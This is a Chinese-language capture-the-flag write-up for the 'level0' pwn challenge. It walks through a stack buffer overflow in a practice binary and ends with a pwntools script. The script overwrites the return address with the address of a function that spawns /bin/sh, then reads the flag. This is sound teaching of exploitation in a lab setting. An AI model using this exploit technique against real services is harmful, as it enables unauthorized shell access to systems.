攻防世界 level0
📅9/8/2021, 12:00:00 AM
题目
题目来源: XMan
题目描述:菜鸡了解了什么是溢出,他相信自己能得到shell
审题
通过溢出得到 shell。
题解
main
int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDuLL);
return vulnerable_function();
}
vulnerable_function
ssize_t vulnerable_function()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF
return read(0, buf, 0x200uLL);
}
栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。
双击buf
查看本函数的栈结构
-0000000000000080 ; Use data definition commands to create local variables and function arguments.
-0000000000000080 ; Two special fields " r" and " s" represent return address and saved registers.
-0000000000000080 ; Frame size: 80; Saved regs: 8; Purge: 0
-0000000000000080 ;
-0000000000000080
-0000000000000080 buf db 128 dup(?)
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables
把函数的地址写入r
(返回地址)中,即可让其执行。
callsystem
int callsystem()
{
return system("/bin/sh");
}
本函数会调用系统的sh
即 shell。
Exp
将函数callsystem
的地址写入函数vulnerable_function
栈中的r
即可得到 shell。
需要填充buf
和s
,位数为:128+8=136。
from pwn import *
def exploit():
context.arch = 'amd64'
context.binary = './level0'
callsystem_addr = context.binary.symbols['callsystem']
print(callsystem_addr)
r = remote('host', port)
payload = b'@'*136 + pack(callsystem_addr)
r.sendlineafter(b'World', payload)
r.sendline(b'cat ./flag')
print(r.recvline_endswith(b'}').decode())
r.close()
def main():
exploit()
if __name__ == '__main__':
main()
总结
通过逆向分析出函数vulnerable_function
存在栈溢出漏洞,函数callsystem
可以调用系统的 shell。
构造 payload,填充无用信息到buf
和s
中,将目标函数的地址写入r
中。
This
post
by Yingjie Shang is licensed under
CC BY 4.0